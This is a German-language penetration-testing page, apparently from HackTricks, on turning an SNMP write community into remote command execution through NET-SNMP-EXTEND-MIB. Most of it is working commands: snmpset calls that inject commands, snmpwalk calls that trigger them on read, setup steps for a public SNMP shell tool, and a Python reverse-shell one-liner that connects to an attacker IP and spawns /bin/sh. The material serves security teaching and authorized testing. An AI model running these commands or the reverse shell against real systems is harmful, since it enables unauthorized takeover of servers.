{{#include ../../banners/hacktricks-training.md}} # SNMP RCE SNMP kann von einem Angreifer ausgenutzt werden, wenn der Administrator die Standardkonfiguration auf dem Gerät oder Server übersieht. Durch **Missbrauch der SNMP-Community mit Schreibberechtigungen (rwcommunity)** auf einem Linux-Betriebssystem kann der Angreifer Befehle auf dem Server ausführen. ## Erweiterung von Diensten mit zusätzlichen Befehlen Um SNMP-Dienste zu erweitern und zusätzliche Befehle hinzuzufügen, ist es möglich, neue **Zeilen zur "nsExtendObjects"-Tabelle** hinzuzufügen. Dies kann erreicht werden, indem der Befehl `snmpset` verwendet wird und die erforderlichen Parameter, einschließlich des absoluten Pfads zur ausführbaren Datei und des auszuführenden Befehls, bereitgestellt werden: ```bash snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ 'nsExtendStatus."evilcommand"' = createAndGo \ 'nsExtendCommand."evilcommand"' = /bin/echo \ 'nsExtendArgs."evilcommand"' = 'hello world' ``` ## Befehle zur Ausführung injizieren Das Injizieren von Befehlen zur Ausführung auf dem SNMP-Dienst erfordert die Existenz und Ausführbarkeit des aufgerufenen Binaries/Skripts. Die **`NET-SNMP-EXTEND-MIB`** schreibt vor, den absoluten Pfad zur ausführbaren Datei anzugeben. Um die Ausführung des injizierten Befehls zu bestätigen, kann der Befehl `snmpwalk` verwendet werden, um den SNMP-Dienst aufzulisten. **Die Ausgabe zeigt den Befehl und die zugehörigen Details an**, einschließlich des absoluten Pfades: ```bash snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects ``` ## Ausführen der injizierten Befehle Wenn der **injizierte Befehl gelesen wird, wird er ausgeführt**. Dieses Verhalten ist bekannt als **`run-on-read()`**. Die Ausführung des Befehls kann während des snmpwalk-Lesens beobachtet werden. ### Erlangen einer Server-Shell mit SNMP Um die Kontrolle über den Server zu erlangen und eine Server-Shell zu erhalten, kann ein von mxrch entwickeltes Python-Skript von [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) verwendet werden. Alternativ kann eine Reverse-Shell manuell erstellt werden, indem ein spezifischer Befehl in SNMP injiziert wird. Dieser Befehl, der durch den snmpwalk ausgelöst wird, stellt eine Reverse-Shell-Verbindung zum Rechner des Angreifers her und ermöglicht die Kontrolle über die Opfermaschine. Sie können die Voraussetzungen installieren, um dies auszuführen: ```bash sudo apt install snmp snmp-mibs-downloader rlwrap -y git clone https://github.com/mxrch/snmp-shell cd snmp-shell sudo python3 -m pip install -r requirements.txt ``` Oder eine Reverse-Shell: ```bash snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"' ``` ## Referenzen - [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/) {{#include ../../banners/hacktricks-training.md}}